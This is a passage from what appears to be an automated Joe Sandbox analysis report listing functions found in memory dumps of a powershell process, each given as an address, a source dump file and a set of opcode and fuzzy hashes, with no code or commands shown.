                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c08371cf6de7396b0e71b122b0d4d718b0a504021ad19a297a04b561cad81ba9
                                                                • Instruction ID: 5884dc03eac88bcd08bd90735e1778bfee705c73054cd57546318b7ad2b1dd94
                                                                • Opcode Fuzzy Hash: c08371cf6de7396b0e71b122b0d4d718b0a504021ad19a297a04b561cad81ba9
                                                                • Instruction Fuzzy Hash: 3C915B74A00205EFCB15CF59C4989AEBBF2FF48310B248AA9D955AB365C735FC51CBA0
                                                                Function 04C97740 Relevance: .2, Instructions: 156COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 6e2ca99ebfe7eb165c127a0b54131abdc867bfa3885cc8c62d82b827a3f5446b
                                                                • Instruction ID: b762c900c6669af8b08327b34d1ab0803afe3e120fcbcd686f2f1ac61818451f
                                                                • Opcode Fuzzy Hash: 6e2ca99ebfe7eb165c127a0b54131abdc867bfa3885cc8c62d82b827a3f5446b
                                                                • Instruction Fuzzy Hash: AD51C031316201DFDB15DBA9D858A7A7BE6FFC9214B1444AAD509DB352EB31EC01CBA0
                                                                Function 04C9BAC8 Relevance: .2, Instructions: 155COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 30075d64ea4a1941ddb5a2079939be41042ec7ac020f1714126808b647e76e34
                                                                • Instruction ID: a1703b3d0c59060384afbc91b372650bc1448875ddc948ad1b4f35e70b01a26f
                                                                • Opcode Fuzzy Hash: 30075d64ea4a1941ddb5a2079939be41042ec7ac020f1714126808b647e76e34
                                                                • Instruction Fuzzy Hash: E3612671E00209EFDB44DFA9D58879DBBF2FF88310F15812AE919AB250EB74AD41CB50
                                                                Function 04C9BAB8 Relevance: .1, Instructions: 148COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 54fa72f93f80c354e6162ea3868c2cb9a0949cd585817f0090f72fadecef140c
                                                                • Instruction ID: 42177855509cae1884a9613ec587629aaa0ab7157ce28818fe2b2f972e0bc46f
                                                                • Opcode Fuzzy Hash: 54fa72f93f80c354e6162ea3868c2cb9a0949cd585817f0090f72fadecef140c
                                                                • Instruction Fuzzy Hash: FD513A71E00248EFDB44DFA9D584A8DBBF2FF88310F15806AE919AB351EB74AD45CB50
                                                                Function 07BF3D9D Relevance: .1, Instructions: 135COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2173821221.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_7bf0000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: eac7d985132783491db703dca7185fde2acbdd4d25a63590c02f35b74d710f40
                                                                • Instruction ID: fddb8199338ab75d5a3bd228a09111773c5ca3f9a48b2328bbf28a590d043daf
                                                                • Opcode Fuzzy Hash: eac7d985132783491db703dca7185fde2acbdd4d25a63590c02f35b74d710f40
                                                                • Instruction Fuzzy Hash: 5D4129F1B00251CBEB259BB8C5107AABBD2DFD1A14B1445EADB018B752DF32D849C7B1
                                                                Function 04C96FB0 Relevance: .1, Instructions: 128COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 383f696332f22517cb3c7df41dd1184c303a821a46f155ff255386d342053ba2
                                                                • Instruction ID: a464e2698b4b8559c068b655499f9d4bd653876f6d070f5b5f5c23f2a0605396
                                                                • Opcode Fuzzy Hash: 383f696332f22517cb3c7df41dd1184c303a821a46f155ff255386d342053ba2
                                                                • Instruction Fuzzy Hash: 0A418134A16245DFDF05CF64C858AAEBFF2EF8A305F145099D445AB3A1CB229D01CB61
                                                                Function 04C96FE0 Relevance: .1, Instructions: 114COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: e0b5c291f4dfebd60dd6586405a3d331fbc15d03bcecddb285870cf3a05553b7
                                                                • Instruction ID: 328a64665146ebf826c1d0db9f1c32533132f29c93d60fc5e210709704c265ce
                                                                • Opcode Fuzzy Hash: e0b5c291f4dfebd60dd6586405a3d331fbc15d03bcecddb285870cf3a05553b7
                                                                • Instruction Fuzzy Hash: 04414C34B11204DFDB14DFA5C458AADBBF2EF8A711F145099D406AB391DB35AD01CB60
                                                                Function 04C92B00 Relevance: .1, Instructions: 110COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1cfd13eb756d398d97bf2d8d5ea8b9281ecf5e8139ea6f36aba67202191a383e
                                                                • Instruction ID: 40a9c888e44cb973a948001c94b717186d3f821fe9904a63479387b9dfd55ab0
                                                                • Opcode Fuzzy Hash: 1cfd13eb756d398d97bf2d8d5ea8b9281ecf5e8139ea6f36aba67202191a383e
                                                                • Instruction Fuzzy Hash: 4D413774A00105EFCB05CF49C598EAAFBF2FF48310B118999D955AB264C732FD51CBA0
                                                                Function 04C9C390 Relevance: .1, Instructions: 101COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 7dd94721bd3f7bb383670295d0efb9ff693d381a9000b21687e894d36567c8db
                                                                • Instruction ID: b0ad5b7dbd43ea5953439a2f22828ed1e431d0b691c29c80c119bff5d9714c5c
                                                                • Opcode Fuzzy Hash: 7dd94721bd3f7bb383670295d0efb9ff693d381a9000b21687e894d36567c8db
                                                                • Instruction Fuzzy Hash: A5315E313006019FE749EB79E854BAABBD2EBC4315F04862DD609CB351DFB5AC458BA1
                                                                Function 04C9AE68 Relevance: .1, Instructions: 87COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 9e6c0966cf54f7f1284e0ac0839b5d54c66474839b5b48ba726308e025e65f96
                                                                • Instruction ID: 7ac2914239b7b4cadc4060fd2536f9a7c3a17a8446b17e9f5b77da7ca90c7ea8
                                                                • Opcode Fuzzy Hash: 9e6c0966cf54f7f1284e0ac0839b5d54c66474839b5b48ba726308e025e65f96
                                                                • Instruction Fuzzy Hash: C7318870E00249AFDF45DFB9C488BAEBBF2EF88304F148029E501EB251EB759C018B64
                                                                Function 04C9AE78 Relevance: .1, Instructions: 84COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 6bcd187f1fd07afdc0a1defde72cac45f6f762ed64103468204eeac3d81a8fae
                                                                • Instruction ID: d5f336b4a6173779379880abeee018b6ce3b8c7c1fea59020e60d64c5bec4709
                                                                • Opcode Fuzzy Hash: 6bcd187f1fd07afdc0a1defde72cac45f6f762ed64103468204eeac3d81a8fae
                                                                • Instruction Fuzzy Hash: E7315870E00209AFDF44DFA9C4887AEBAF6EF88304F148029E501E7350EA75AC418BA4
                                                                Function 04C9AD30 Relevance: .1, Instructions: 81COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c8b1050b8b83b091e7159ebaa98609ee15e4e99e4bd8076ece14f138876b0ea5
                                                                • Instruction ID: 6e3d9dbbf8810c819f8d59e700edc0f7d783bfd240692a717ebf1e18b1fb58ec
                                                                • Opcode Fuzzy Hash: c8b1050b8b83b091e7159ebaa98609ee15e4e99e4bd8076ece14f138876b0ea5
                                                                • Instruction Fuzzy Hash: 6831A1B4A002459FEB00DBA4D858ABE7BF2EFC4304F1584ADC515AB395CB35AD01CF50
                                                                Function 04C9AFA0 Relevance: .1, Instructions: 81COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: be490d24d6d272a61c2ed897212e7d650a560d9f4d9b72b41bf2eb98b27c5c21
                                                                • Instruction ID: 99497b97a1c2526f02e6f0cc6f6bc91fb4d506d4fd5ca9bd737857afbb16f512
                                                                • Opcode Fuzzy Hash: be490d24d6d272a61c2ed897212e7d650a560d9f4d9b72b41bf2eb98b27c5c21
                                                                • Instruction Fuzzy Hash: 1A21AE71A042489FDB14DFAED84479FBBF6EB88320F14846AD518E7340CB75AD048BA5
                                                                Function 04C9E1F1 Relevance: .1, Instructions: 80COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 2ff416fde21bd6a673d8616b3be2810478f44448d2ca2700634629cc712d5912
                                                                • Instruction ID: c25cec461a03b77c915cf15af3ba9dc603c73126b5f2f09e38f7aaf5d082ff9e
                                                                • Opcode Fuzzy Hash: 2ff416fde21bd6a673d8616b3be2810478f44448d2ca2700634629cc712d5912
                                                                • Instruction Fuzzy Hash: B4312A74A002049FCB18DF69D458AADBBF2FF89214F14446DD406EB3A1DB75AC85CF91
                                                                Function 04C9E200 Relevance: .1, Instructions: 77COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: e44ef2a394fccedf201c0c3aa1a5271d6e56fa32bd985cfb58be63a5b7edc081
                                                                • Instruction ID: db497a68d499a9625b0837cc44d53c4a416c4d1288c6374ca3c9135b2b4b57f7
                                                                • Opcode Fuzzy Hash: e44ef2a394fccedf201c0c3aa1a5271d6e56fa32bd985cfb58be63a5b7edc081
                                                                • Instruction Fuzzy Hash: 71312B74B002049FCB14DF6AD458AAEBBF2FF89614F144469D406E73A1DF75AC85CB90
                                                                Function 04C9AD40 Relevance: .1, Instructions: 77COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 989fde949e49b0565e99511d875794a5a40ad85808bf9b8cf1f9741ba7dc255e
                                                                • Instruction ID: 99ebf7a99ba1a669962647ecd1c9389110701d683c1a0870822c2942ead8ed34
                                                                • Opcode Fuzzy Hash: 989fde949e49b0565e99511d875794a5a40ad85808bf9b8cf1f9741ba7dc255e
                                                                • Instruction Fuzzy Hash: 533152B4A002099FEB44EFA5D854ABE7BF2EFC4304F119469D511AB394DB35AD018F90
                                                                Function 04BEF3D8 Relevance: .1, Instructions: 76COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168208847.0000000004BED000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BED000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4bed000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c6a818ecec3520be93697e5485dae689ce168bd18cc9a962b17692bebb430f95
                                                                • Instruction ID: 0e73779ac6a4e63406f014232060bc8b1bbd84b9e3626f9a8d3db6763e39c1c4
                                                                • Opcode Fuzzy Hash: c6a818ecec3520be93697e5485dae689ce168bd18cc9a962b17692bebb430f95
                                                                • Instruction Fuzzy Hash: 8E21E0B6604200EFDB05DF59D9C0B36BB75FBC8314F24C5ADE9090A256C73AE856CBA1
                                                                Function 04C993F8 Relevance: .1, Instructions: 73COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: dbda78fa37a0759d330b9c65c4d8e0c2387a273855893efc5f0e035989b56efa
                                                                • Instruction ID: 65586fc0369fa473c3b142661687b9a77fa900649ff7eec4b2406cd97e60a687
                                                                • Opcode Fuzzy Hash: dbda78fa37a0759d330b9c65c4d8e0c2387a273855893efc5f0e035989b56efa
                                                                • Instruction Fuzzy Hash: 0F3169B49017449EEBA5CF6AD08839ABFF2EB88320F28C05ED4599B315D7746885CB61
                                                                Function 04BEF02C Relevance: .1, Instructions: 72COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168208847.0000000004BED000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BED000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4bed000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 27507fdbf6ef5fc9d173ad0c768eae1cf76c6ecabb1d6cd69114afbc6548d3c5
                                                                • Instruction ID: 86d6bf2fc6a622da5cc31ee2f51d619405fb1624d753140703e8b4cbbcbc8f01
                                                                • Opcode Fuzzy Hash: 27507fdbf6ef5fc9d173ad0c768eae1cf76c6ecabb1d6cd69114afbc6548d3c5
                                                                • Instruction Fuzzy Hash: E5213775604244EFCB14DF25D9C0B36BB61FBC4314F24C5ADDA0A4B253C77AE446CA61
                                                                Function 04BEF4CC Relevance: .1, Instructions: 69COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168208847.0000000004BED000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BED000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4bed000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 4ee8d45d97021475fe3dd67dfc2be5f6384662cdd1285c96ee28ef568c6f2779
                                                                • Instruction ID: bad36949db1db8a41d8244d56691c5e4f1ff639d4eb0e7857f6a1c34e231aab9
                                                                • Opcode Fuzzy Hash: 4ee8d45d97021475fe3dd67dfc2be5f6384662cdd1285c96ee28ef568c6f2779
                                                                • Instruction Fuzzy Hash: 362124B1604240EFDB14DF29D5C0B36BBE5EBD4718F20C5ADD90A4B251C77AE846CAA1
                                                                Function 04C99408 Relevance: .1, Instructions: 69COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 510de0e38424fb73192015c0a7da3c6c2e1e2945e0b3ad9d0b7957669e85cb89
                                                                • Instruction ID: 068d2e581434dc02c6a097f3068dd1583057130ff72e7e1d857fdcb278e6c3b0
                                                                • Opcode Fuzzy Hash: 510de0e38424fb73192015c0a7da3c6c2e1e2945e0b3ad9d0b7957669e85cb89
                                                                • Instruction Fuzzy Hash: 91216BB49057449EEBA1CF6AD08838AFFF2EB88310F28C45ED85D97305D7746880CB61
                                                                Function 04C9767C Relevance: .1, Instructions: 62COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 49dfded09ba9afb517119bf17ca9f4f08da539dcb0418444e738926925cc6d86
                                                                • Instruction ID: 721e90d9e4afb9873cf52a83609740cd5b98f24aab4233e7e91913683aea0e5a
                                                                • Opcode Fuzzy Hash: 49dfded09ba9afb517119bf17ca9f4f08da539dcb0418444e738926925cc6d86
                                                                • Instruction Fuzzy Hash: EB110736B01118CFCF04DBA8D8449ED7BE6EBC8325B1440A9E909DB361DB25ED11CB91
                                                                Function 07BF28E8 Relevance: .1, Instructions: 58COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2173821221.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_7bf0000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1f18aaa71e676da63d9e27f6be08a4a2ae2f5a198ee6177c002f61a031923740
                                                                • Instruction ID: 8b4108fd15f6fd085edcab87c344095e87dbc8677d825162ec451ff4264622a9
                                                                • Opcode Fuzzy Hash: 1f18aaa71e676da63d9e27f6be08a4a2ae2f5a198ee6177c002f61a031923740
                                                                • Instruction Fuzzy Hash: 66115BF1A11206DFEB24CF59C585BAEB7E5FB85A21F44C0B6D6089B211D731D848CBA1
                                                                Function 04BEF3D3 Relevance: .1, Instructions: 57COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168208847.0000000004BED000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BED000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4bed000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 226763f8ebee4a326c53d81c1b8fbc9c4432138e5169b0b621e51b23af87bf07
                                                                • Instruction ID: 75add3407b9e4eb8d05eebd805ce45ba54be0a83944c00a1184ed368193d32d4
                                                                • Opcode Fuzzy Hash: 226763f8ebee4a326c53d81c1b8fbc9c4432138e5169b0b621e51b23af87bf07
                                                                • Instruction Fuzzy Hash: 1B215C76504280EFCB06CF54D9C4B26BF72FB88314F24C5A9E9494A666C33AD46ACB91
                                                                Function 04C9E4C0 Relevance: .1, Instructions: 54COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c89379554b7ebf6713c8b48c654e12e96b4321137e014fa2366df94dc262418a
                                                                • Instruction ID: 9583c0907415cfa7ce9975e80e13da4f1a058161783b64fa230b453638dbc8d8
                                                                • Opcode Fuzzy Hash: c89379554b7ebf6713c8b48c654e12e96b4321137e014fa2366df94dc262418a
                                                                • Instruction Fuzzy Hash: B1118BB1900309DFDB60CF59CA087DABBF4EF08324F288059D509A7281E778EA04CFA5
                                                                Function 04BEF027 Relevance: .1, Instructions: 53COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168208847.0000000004BED000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BED000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4bed000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1baa4135a3ffa84b7eafa0616a1ffb5636ea4d9d3a95b2124a7f7c9932413226
                                                                • Instruction ID: b48ec610df3b65c4a5e12560ae4ea9efa06dfa33d518cb1b3da6538c09e7ea62
                                                                • Opcode Fuzzy Hash: 1baa4135a3ffa84b7eafa0616a1ffb5636ea4d9d3a95b2124a7f7c9932413226
                                                                • Instruction Fuzzy Hash: 8C11D076504284DFCB11CF20D5C0B25BF61FB84314F28C6AAD9094B656C33AE44ACB51
                                                                Function 04C979C2 Relevance: .1, Instructions: 52COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 97c465de05a5f5acb156406a05ad19ad304ee69b4613b8bb33a0c38e068b8f4c
                                                                • Instruction ID: f1ba50c4808f277df0764eda58f9836bc32b8cfa692228b5bb6d5e4c69b6d715
                                                                • Opcode Fuzzy Hash: 97c465de05a5f5acb156406a05ad19ad304ee69b4613b8bb33a0c38e068b8f4c
                                                                • Instruction Fuzzy Hash: EB0124717052049FDB11CF79A844A7E7BE6EB89225700026DD04DC7300DB31AD068760
                                                                Function 04C9E4D0 Relevance: .1, Instructions: 51COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 9f0b57227dabc816253f211da78601f55235338aefacd6371eb1268e010f381c
                                                                • Instruction ID: 1e57541fefd0d38a2662b79b76efcc6f2b11858099b932fa2ee0d217eb032604
                                                                • Opcode Fuzzy Hash: 9f0b57227dabc816253f211da78601f55235338aefacd6371eb1268e010f381c
                                                                • Instruction Fuzzy Hash: BA114CB1900349DFDF50CF9AC50879ABBF4EF48324F28846DD508A7281E779EA44CBA5
                                                                Function 04C9E0C1 Relevance: .1, Instructions: 51COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: af4c05a05c3a9e9a70cc0860714d0df436d37049a075a03ddffee579db580398
                                                                • Instruction ID: 4165ad26df869d6a8801312d35f19da0773ddf6652d60cf205d652877621e7a4
                                                                • Opcode Fuzzy Hash: af4c05a05c3a9e9a70cc0860714d0df436d37049a075a03ddffee579db580398
                                                                • Instruction Fuzzy Hash: BE111534204740CFC729DF35D4449AABBF2AF86315B2085ADD04A8BBA0CB36EC45CB50
                                                                Function 04BEF4C7 Relevance: .0, Instructions: 50COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168208847.0000000004BED000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BED000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4bed000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 54e937d2f642825418ee9ae18dedb5dcdd39905f3497500ca018ffbd85fd39bc
                                                                • Instruction ID: 8c52a173d917f7882646c2e2c512d8a5f3b473d4780a25eafff87a522d53b6c2
                                                                • Opcode Fuzzy Hash: 54e937d2f642825418ee9ae18dedb5dcdd39905f3497500ca018ffbd85fd39bc
                                                                • Instruction Fuzzy Hash: 0E11E0B5504280DFCB15DF14D5C4B35BBB1FB84314F24C6ADC8494B652C33AE44ACB92
                                                                Function 04C9BCE8 Relevance: .0, Instructions: 49COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3620bb8fac3fbb66b6a8ae432f02ca916c5523c91935fa5896fa101dbf97c770
                                                                • Instruction ID: 5e044c913806003d1c4261e506985ec50a453ef499682e7ef149019524bf9548
                                                                • Opcode Fuzzy Hash: 3620bb8fac3fbb66b6a8ae432f02ca916c5523c91935fa5896fa101dbf97c770
                                                                • Instruction Fuzzy Hash: 70018031608744AFD728DB7AD898A6A7FE5EF45210F1484EED04AC76A2DB34BD45C740
                                                                Function 04C9E0D0 Relevance: .0, Instructions: 48COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 87ddc7373fb9dc790000a17735b4cab1347de86103b8c4e8d62b4d324183e199
                                                                • Instruction ID: b451a01b20d85e2d829e89e28196e900ff3af8c6f7e073efc71392f5e87c6a53
                                                                • Opcode Fuzzy Hash: 87ddc7373fb9dc790000a17735b4cab1347de86103b8c4e8d62b4d324183e199
                                                                • Instruction Fuzzy Hash: 7311F334204754CFC728DF75D48099ABBF6AF8921532489ADD48A8BBA0CB36EC45CB50
                                                                Function 04C9E040 Relevance: .0, Instructions: 48COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
